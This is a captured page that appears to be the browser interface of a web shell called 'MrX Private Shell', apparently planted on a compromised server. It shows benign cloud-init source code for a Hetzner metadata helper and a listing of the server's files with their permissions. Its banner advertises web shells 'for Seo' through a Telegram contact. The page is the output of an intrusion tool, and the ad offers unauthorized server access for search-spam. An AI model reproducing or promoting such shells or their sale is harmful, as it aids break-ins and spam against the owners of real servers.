__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Author: Jonas Keidel <[email protected]> # Author: Markus Schade <[email protected]> # # This file is part of cloud-init. See LICENSE file for license information. from typing import Optional, Tuple from cloudinit import net, url_helper def _skip_retry_on_empty_response(cause: url_helper.UrlError) -> bool: return cause.code != 204 def get_metadata( urls, max_wait=120, timeout=2, sleep_time=2, ) -> Tuple[Optional[str], bytes]: try: url, contents = url_helper.wait_for_url( urls=urls, max_wait=max_wait, timeout=timeout, sleep_time=sleep_time, # It is ok for userdata to not exist (that's why we are stopping if # HTTP code is 204) and just in that case returning an empty # string. exception_cb=_skip_retry_on_empty_response, ) if not url: raise RuntimeError("No data received from urls: '%s':" % urls) return url, contents except url_helper.UrlError as e: if e.code == 204: return e.url, b"" raise def get_interface_name_from_mac(mac: str) -> Optional[str]: mac_to_iface = net.get_interfaces_by_mac() return mac_to_iface.get(mac.lower())
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| vmware | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| akamai.py | File | 1.45 KB | 0644 |
|
| aliyun.py | File | 7.18 KB | 0644 |
|
| azure.py | File | 40.7 KB | 0644 |
|
| cloudsigma.py | File | 2.88 KB | 0644 |
|
| digitalocean.py | File | 6.75 KB | 0644 |
|
| ec2.py | File | 8.58 KB | 0644 |
|
| hetzner.py | File | 1.24 KB | 0644 |
|
| netlink.py | File | 11.65 KB | 0644 |
|
| openstack.py | File | 27.46 KB | 0644 |
|
| upcloud.py | File | 6.48 KB | 0644 |
|
| vultr.py | File | 7.95 KB | 0644 |
|